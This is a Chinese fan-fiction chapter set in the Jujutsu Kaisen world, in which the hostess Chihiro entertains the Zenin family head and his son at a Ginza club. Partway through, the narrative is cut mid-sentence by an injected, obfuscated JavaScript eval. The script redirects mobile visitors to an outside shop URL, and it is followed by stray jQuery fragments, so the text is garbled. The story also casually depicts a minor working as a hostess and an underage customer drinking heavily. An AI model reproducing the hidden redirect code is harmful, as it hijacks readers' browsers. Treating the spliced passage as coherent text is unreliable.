同样的夜晚在每个街道都呈现出不同的风貌。
如果说新宿的夜晚是糜烂堕落的宿醉,那银座的夜晚像是盛在三角杯里的香槟。但本质是没有分别的。
俱乐部内,数盏水晶吊灯散发着夺目光,每一寸都细碎的撒在地毯上,与墙壁上的镜面交相呼应耀眼夺目。
周围墙面用鲜花覆盖,少了些都市气息的同时,也给人带去一种不真实的放松感。
这里是笹原家的产业之一,银座有名的高级俱乐部:Lecharme。
俱乐部严格采用会员邀请制,没有人脉是绝对进不来的。与之相符的是来这里的宾客都身份非凡,而这里发生的一切也不会传到外界。
笹原千寻踩着柔软的红色地毯走下台阶,而店门口的白色霓虹招牌前,已经有人在等她了。
“千寻,辛苦你特意过来一趟了。”
盘着发的妈妈桑笹原千代迈着小碎步走来。岁月没有薄待女人,只留下了淡淡的痕迹。一身淡雅的浅绿色和服除了淡金花纹没有一丝多余皱褶。她双手垂落在身前交叠,姿态端庄优雅,脸上更是堆满了亲切的笑容。谁能想到这样一个看似无害甚至是温和的女人,却是俱乐部的老板,并在泡沫经济时还能屹立不摇?
笹原千寻回了回神,也向她行礼:“怎么会呢?千代阿姨。是我麻烦你才是,之前也麻烦你了不少。”
“千寻你肯来我这里,我真是倍感荣幸呢。”
她抬手邀请笹原千寻进入屋内,在专属的化妆间里,各类高奢名牌服饰都已经准备好了。
“化妆师很快就到,你先换衣服吧。”
“嗯。”
被无数灯泡点亮的镜面前,化妆师正在为她画眼妆。
“好久不见了,千寻酱,这段日子你没来,大家都好寂寞啊。是去哪里了吗?”
“有点累休息一下而已。”
“对了对了,如果我没记错,这个月是千寻酱的生日月吧?又可以大赚一笔了。”
“是啊。但我休息了这么长时间,客人都跑完了吧?而且也没宣传……”
“怎么会呢?只要听说千寻酱回来,大家也会来的。妈妈桑也会帮你宣传的。这可是生日月啊!每年最重要的时候了。”
“也是啊……干脆这个月努努力吧?也辛苦麻衣酱要帮我化妆了~”
“放心交给我吧!”
笹原千寻与她们谙熟的谈笑。
她十五岁时来到这家店,跟随千代阿姨见识各种客人。从最初的见习,打下手,调酒,到一步步坐上卡座,和客人斡旋。
这个工作表面上说好听点是女公关,说难听点就是陪酒女。而卖酒就是自己的主要收入来源之一。
虽然不是个光彩的工作,但因为俱乐部的私密性,加上只对咒术界以及上层相关人士开放,因此很多身份不俗的人都会来这里消费。而这些人物之间,偶尔会需要一个人在财政商之间帮忙引见,或作为传声筒。笹原千寻靠着他们积攒下了第一桶金与人脉。
虽然积攒了人脉口碑与钱财,但要时常斡旋于这些人之间,还会被揩油导致精神负荷增加。平日里还要忙着做任务,超级累不说对精神也是一种拷打,长期下来压力快爆了。
因此并不是个长久的职业。
本来是想赚完赎身费就走的,没想却再次回到这里的,但如今腹背受敌难以施展,与其等着时间流逝日渐缩减,不如暂时的回到这里,还能再联络些人脉。
“好了,千寻酱,你看这样可以吗?”
“辛苦了,麻衣酱,那么,我出去了。”
*
金碧辉煌的会场里早已坐满了客人,每个人都挑选了心仪的对象陪在自己身侧。
突然的哗然引起了骚动,所有人都顺着声音的方向望去。
笹原千寻走在地毯中央,大概是穿着高跟鞋的缘故,将身形拉得非常修长高挑。黑色丝绒的长裙两侧用金片勾勒出腰部的曲线。恰到好处的深V领口露出生而白皙肌肤与锁骨,就连裙摆两侧的开叉都是精心算计过的高度。不会太露,却又在腿交错之间撩人心神。
她走的每一步都吸引着目光,头顶的光都像是要为她加冕。
“千寻回来啦?”
她笑着朝那边的人挥手,现场传来此起彼伏的呼声与举杯。整个场面变得和见面会一样却又保持着克制与礼貌。
“没有见过啊。是新人吗?”
“真的假的,你不知道吗?”
“那孩子,曾经是这里的TOP呢。”
“对对,当时还有个称呼来着。”两人几乎是异口同声:“亿女千寻!”
“而且那个时候还是未成年吧?”
“未成年也可以吗?!”
“反正这里和外面是不一样的。”
“据说几个月前突然休息,我还以为她是隐退了。”
“毕竟未成年有很多顾虑吧?不过现在应该没问题了。”
“是少有的美人呢。”
“现在回来的意思,是可以点她来作陪咯?”
“怎么可能轮到你啊?醒醒。根本不是你这种级别可以碰触到的人。”
如同要印证这番话,笹原千寻才只是出现在会场,一旁的黑服便已经上前:“千寻小姐,已经有人指名你了。”
这么快?
她微微挑眉,千代阿姨的执行力也真是够强的。
“是谁?”
笹原千寻拨开被烫得微微发卷,有些挡眼的黑发问。
“是禅院家的人。”
*
“好久不见,千寻。”
禅院直毘人摸着胡须自然进入店内,径直走向笹原千寻的卡座。
所有人都朝禅院直毘人鞠躬。笹原千寻站起身来,也浅浅的朝他鞠躬:“很久不见,禅院家主。”
黑发顺着她白皙的肩膀滑落至胸前。
“又来了啊,那种称呼。”
他双手交叠放在灰色宽袖里,用一种调笑的口吻说着,飞翘起的两撇八字胡跟着笑容震颤。
“说了叫我直毘人就可以了。”
老爷子自顾自的坐进卡座里,熟练的抬手。
“那就先惯例的,来点润润喉咙吧。”
旁边的黑服向笹原千寻确认,直至她点头,黑服才拿起话筒喊。
“多谢惠顾!感谢贵客为千寻送上的黄金黑桃A一瓶!”
另一名黑服小心捧着金色的酒身半跪在地上,展示着酒瓶的完整行,确认没有拆封后,他才打开了价值二十几万日元的酒瓶。
才入座不到一分钟就已经开始有人为她买酒了。速度之快,到了让新来的顾客都瞠目结舌的地步。
“不愧是亿女啊,三十秒就开了第一瓶。”
“照这速度,每天晚上最少也能有两千万吧?”
“而且这还不是什么活动,人才刚回来。”
“我算是知道为什么你们会叫她亿女了。”
没理会那些议论声,笹原千寻端着盛着香槟的高脚杯递到老人手中。
“那么,我就不客气了。直毘人?”
笹原千寻恭敬的朝他轻轻碰杯,随即两人仰头,一饮而尽。禅院直毘人“哈!”的放下杯子,呼出一口气来。
“这玩意儿就和饮料没什么两样。还是烧酒更有劲儿啊。”
“那我让他们拿些烧酒过来?”
说着她就要举手叫黑服,但是被喝止了。
“不用,先润润嗓子,慢慢来。”
禅院直毘人懒洋洋的靠在椅背,双手环抱在胸前。
“所以,您为什么会来这里?”
笹原千寻一边为他斟酒一边问。
“千代打电话给我,说你会来,所以老夫就来了。”
“就因为这个?”
“其实只是想找个地方喝酒而已。”
两人都仰头发出爆笑。
“其实,老夫是想为之前的事向你道谢。”
老者松开双臂,分别落在膝盖上,他头微微点下便算作是感谢了。
“之前的事,是「炳」办事太不小心了。竟让它逃出来……”
“您客气了。举手之劳而已,而且也没能成功,所以只是解决了一只咒灵而已。算不上什么帮忙。”
她将酒杯落在老爷子面前。
禅院直毘人喝水似得将它一饮而尽还嫌不够过瘾。
“比起这个,关于之前拜托您的那一批咒具……?”
笹原千寻看似不经意的提醒,可压低的嗓音却预示了这不是件可以公开的事。
“啊啊,已经顺利交接了。”
禅院直毘人一杯又一杯的饮着,即便没有陪酒的人,恐怕他自己一个人也能喝,甚至还能更痛快点。
“是嘛,那就好。那么多数量,谢谢您的折扣了。省下不少钱。”
笹原千寻笑着为他斟酒。
说话的功夫,一瓶黑桃A就倒完了。
“虽然不该我过问,不过……那么多数量的咒具……你想拿来做什么呢?”
一改先前那懒洋洋的语气,摇晃酒杯的禅院直毘人眼神便的凌厉起来。
明显那不是高专要的东西,也不是上层要的。
笹原千寻一个人也用不掉。
是为什么准备的?
“秘~密~”
笹原千寻将食指放在唇边,笑着比了一个安静的手势。禅院直毘人自然不会不识趣的继续追问。
“已经到了有秘密的年龄了吗?还真是让人伤感啊。”
他伸手要去拿酒,却发现这次递来的不再是高脚杯,而是装在木漆制盃里的烧酎。
“怎么换这个了?”
“这才够味啊。不是来喝酒的吗?”笹原千寻随意的举起盃朝他敬了一杯:“合作愉快。”
禅院直毘人呆了片刻,这才大笑起来。
“不愧是千寻啊。干了!”
这一口下去,禅院直毘人脸上才露出了大满足的笑容。
但几杯酒下肚,一丝霞色飞上禅院直毘人的两颊。他一手拄着头,另一只手摇晃着盃里的烧酎。
“说起来,最近你似乎和五条家的人走的很近?”
递到嘴边的盃顿了顿,却也是下一秒,笹原千寻故作无事的喝下烧酎。
在发出和老爷子同款的感叹声后,她才笑着悠然开口:“……只是后辈罢了。毕竟都是高专的,接触在所难免。所以被外界误会了吧?”
“……是嘛。”
“不然还能有什么呢?一个16岁的小鬼。”
她抬手嬉笑,禅院直毘人没有说话,他浅浅扬起唇角,仰头喝着烧酎。
在打了个酒嗝后,老人家才把手搭在下巴上,若有所思似得抬头。
“说起来,这个月是你的生日月吧?”
“是的。”
“不举办活动吗?”
“我才刚回来,很多事还没敲定。恐怕很多人还不知道我回来的事,可以的话,能劳烦您帮忙开个口吗?只要在聚会时帮忙说一句:‘千寻又回来了’就行。”
“就算老夫不做,千代也会这么做吧?”
甚至第一时间就给自己打来电话,老狐狸。
他没点破,只把最后一点烧酎喝掉后,将盃略微用力的落在桌上。
“生意有来有往,为了感谢你照顾禅院家的生意,怎么也得给你来点吧?”
“那就先谢谢了。”
笹原千寻再度朝他鞠了一躬。
“多谢惠顾!由千寻的贵客送上的六色黑桃A一套!”
黑服小心的打开一个匣子,就见六中颜色的酒瓶静静的躺在红色绒布上。
另一名黑服小心的取出,将色彩各异的酒瓶落在桌上一一展示。
“让您破费了,不过这么多,要做香槟塔吗?”
“当然不是了。千寻,你再表演一下那个吧?”
“怎么老是喜欢看这种东西啊?”
“本来就是个糟老头子。”
我竟无言以对。
“我知道了。”
两瓶价值二十几万日元的酒水在她手里一敲,一拍,伴随着歌谣似得节奏敲打着桌子,旋转,翻转,扣紧,然后“砰!”的一声!香槟便打开了。
不需要开酒器,也不需要别人帮忙,反而是在谈笑间,唱着歌,玩乐着瓶子就随着她的动作轻巧打开了。
酒水在她手里如同玩具,但就连倒酒的姿势都很漂亮。
她拿出玻璃杯,花样繁多的倒着酒。变魔术似得将那些泡沫,酒花,化作华丽的视觉盛宴,期间将酒水均匀的分配到每一杯酒水里,一滴泡沫都不会浪费。
整个过程都让人看的津津有味,不会腻烦。
而调制出的酒水更是晶莹剔透,在灯光下宝石似得闪耀。
“每次看都觉得赏心悦目啊。”
禅院直毘人摸着下巴,看什么精彩的画面似得赞叹不已。
“您能喜欢就好。”
她将调制好的酒水递到老人面前。
只是为了看自己开瓶调酒就花了两百多万。但这也不过是洒洒水的程度。
禅院直毘人一边喝着,一边与她闲聊。笹原千寻听他抱怨禅院家的琐事,听他阔谈咒术界的消息,再闲聊些大家族彼此间的丑闻。
酒水一瓶瓶的下去,起初还只是一两百万,到了后面,已经是怒涛般的祝福。
“DomPerignon,轩尼诗XO,路易十三各一瓶,多谢惠顾!”
禅院直毘人随便点一套组合套餐酒水就要五百多万。
卡座旁一次次响起感谢的声音,全都是撒钞票的声音。
周围的宾客都啧啧称奇。
光是几个小时,这边的营业额就超过四千万了。而且还只是一桌客人。
喝到后来,禅院直毘人脸上彻底挂满了酒气。大概是有些许醉了,他的声音也变得低沉沙哑起来。
“那个时候的千寻,现在已经成为如此优秀的女性了啊。”
“以前不优秀吗?”
笹原千寻故作失落的在他臂膀上轻轻拍打了一下,禅院直毘人大笑起来:“哈哈哈哈!是了,看老夫我说些什么。”
几旬酒水下肚,禅院直毘人的眼神怅然起来,曾经锐利的眼神苍老了些,也没了先前的笑意,他带了一丝失落的看着眼前的人。
“千寻,要是那个时候,老夫没有……”
“……请不要再说了。”
不论是打断大前辈还是打断客人说话都是不合
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16631767|178611||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时宜的。但是笹原千寻不想去听。
“往日不可追,过去的事就过去吧。”
她努力维持着嘴角的笑意,保持好该有的弧度,可头顶明明是那样耀眼的灯光,却莫名的刺眼。
“千寻,换卡座了。”
黑服的声音从后面传来,笹原千寻笑了笑:“我先过去一下,失礼了。”
她逃走似得匆匆离开,留下禅院直毘人望着手里的酒杯。
“……唉,人老了,话也变多了。”
*
“为什么你会在这里啊?”
当笹原千寻看见卡座里的禅院直哉时,她全然不去顾及自己女公关的身份,连装都懒得装一下的不去遮蔽嫌弃之情。
明明不久前才遇见过,现在居然又遇到了?
“别弄错了,是父亲让我跟着来的。”
“是直毘人的意思啊……”
笹原千寻大概猜到了老头子的用意。
什么感谢自己的帮助,不过是他带着儿子来到这种场合的借口罢了。目的是想结识自己手上的人脉。毕竟随着自己回归,肯定会有从前的旧识前来。到时候能为他们搭上不少线吧?
而禅院直哉真的要成为禅院家未来的家主,那他就要在这些场合展现出相应的见识与气魄。也算是为将来打基础了。
目光在自己身上游走,稍微从思绪中被拽出的笹原千寻看向眼前的少年。
“在看什么?”
“像你这样的半成品,稍微打扮一下,倒也算是一朵残败的花。”
“可以请你滚吗?”
笹原千寻彬彬有礼的笑着问,与其说是脸上的表情是笑容不如说只是一个象征符号。
“你就这么和客人说话的?”
“你又不是客人。甚至是个不能喝酒的未成年。”
“外界的规则在这里不适用吧?”
禅院直哉不以为意的摊开手,将腰完全靠在椅背,一副就要赖在这里不走的样子。
“……所以,你不走是吧?”
“记住,我是尊贵的客人。你没有权力指挥我的去留。”
“啊,是吗?”
笹原千寻没有感情的微笑,眼睛完全变成一条缝。
“这边香槟塔两份!谢谢禅院小少爷的一千万日元!”
“喂!不要擅自决——”
禅院直哉猛地从位置上跳起来,一把抓握住笹原千寻的肩膀逼迫她转过身来。
笹原千寻却露出些许惊讶的神色:“诶?不点酒水吗?”
她毫不避忌自己超级失望的表情。
“啊,果然是太勉强了吗?毕竟禅院家的小少爷,拿不出这个钱来吧?不过也是啊,毕竟是小鬼呢。”
她加重了小鬼两个字,然后轻飘飘的,又短促的叹了口气的。
“那就取消……”
“喂!谁拿不出来了?”
一股淡淡的香气从被握住的地方传来。
虽然理性早就知道她们魅魔一族擅长引诱,这些不过是她们勾引男人的小手段而已。
可是当那香气扑面而来时,大脑被蒙上了一层薄雾,即便是禅院直哉也有一瞬间的恍惚失神。
纵使理性是明白的。
但一瞬间飘散出的香甜却比诅咒还要难驱散……
望着说话只能说出一半的禅院直哉,笹原千寻略显同情的抽回了手。
“……虽说直毘人豪放不羁,这里也并不受外界管束,但带着未成年人来这种地方,也不羁过头了吧?”
豪放不羁是禅院直毘人的优点,但有时候也豪放过了头让人担心。
再怎么说也是魅魔啊。特别是自己体内的大家伙,就算这里贴满了符咒压制咒力,一点的碰触也是很危险的。到底是想测试他还是单纯的忘记了呢?但不论是哪一个,小少爷不都是完全没有抵抗力吗?
香味随着她的抽离淡然消失,禅院直哉眨着眼回过神来,眸子重新聚焦,当他再看清笹原千寻的瞬间,一股无名的恼怒涌上心头!
“下贱的魅魔!竟敢引诱未来的家主,你就这么想爬上我的床当正妻吗?!也是啊,你也就只能用这种手段嫁进禅院家了!”
他愤然挥手,像是脏了手般,要将残留在指尖的香粉气也挥散。他指着笹原千寻的脸叫嚣着。
“就是用这种不入流的手段所以你才会落得这么个下场啊!给我摆正你的身份!就算真用这种手段让你成功了,你也只能做侧室而已!”
喂喂……想太多了吧?
笹原千寻投去同情的眼神,虽然知道是因为恼羞成怒才说了胡话,但是……速度也太快了吧?明明没有人说什么……
而且,怪我咯?
明明是你自己大意了……
笹原千寻抚着眉间的皱痕叹气,脑内飞快的闪过无数吐槽。但是周围那么多客人,感觉要是吐槽就输了,所以她只是叹气。
“我可对你的床没有兴趣,也不想和你——一个未成年人——发生任何超越法律的关系,更不想嫁入禅院家。比起那个来,你还是仔细考虑一下香槟塔的事吧,一千万,没问题吧?”
她用手指向正在大厅内,那群踩着梯子搭建玻璃杯塔的黑服。这个香槟塔光是搭建费就要几十万。
笹原千寻压低声音提醒着断片的少年:“要反悔要趁现在哦?”
先前断开的记忆逐渐恢复,禅院直哉这才想起刚才的对话。
周围的人都看着他们,像是为这位反复无常的客人感到惊讶。那些审视的目光与窃窃私语,都挑战着少年的神经。
“谁要反悔了!”
“那……谢谢咯?”
像是争取到了主动权,禅院直哉很快就强迫自己镇定下来。
一千万而已……之后稍微努点力就能回来的程度。没必要在这里慌乱。
“哼!无所谓。漂亮女人面前怎么能没有香槟塔。”
……倒是给我离开啊!怎么还装起来了?!
虽然满心吐槽,但再怎么说也是一千万,笹原千寻也就忍住了。
*
禅院直哉是被抬出去的。笹原千寻送客时,脸上满是同情。少年一直处于昏迷状态,脸红成了苹果。虽然心底明白让未成年人喝是不对的,自己也劝阻过,但偏偏这个人是禅院直哉。他可以非常巧妙的,把那些不让他喝酒的话理解为是自己瞧不起他之类的,以至于不仅继续加点还要把所有酒喝下去……
“弟弟,菜就再练练吧。”
“谁菜了!我还能喝!”
听到挑衅时,禅院直哉才抬起倔强的黄毛,发出小兽似得咆哮。
“醉鬼发言出现了。看来直毘人你要受累些了,醉鬼是很难对付的。”
自己就深有体会。
禅院直毘人双手放进袖口,摇头叹了口长气。继而带着这个儿子上了出租车离开了。
留下夜风拂过笹原千寻的脚边。她揉捏着自己肩头,为自己辛苦赚了八千万放松着。
“回家回家。打工结束。”
虽然这么说,不过她心底也很明白,像今天这样轻松舒服的日子可不是每天都有的。之后肯定会是艰难的几年吧?
但自己所能做的,也只有……
“走一步看一步吧。”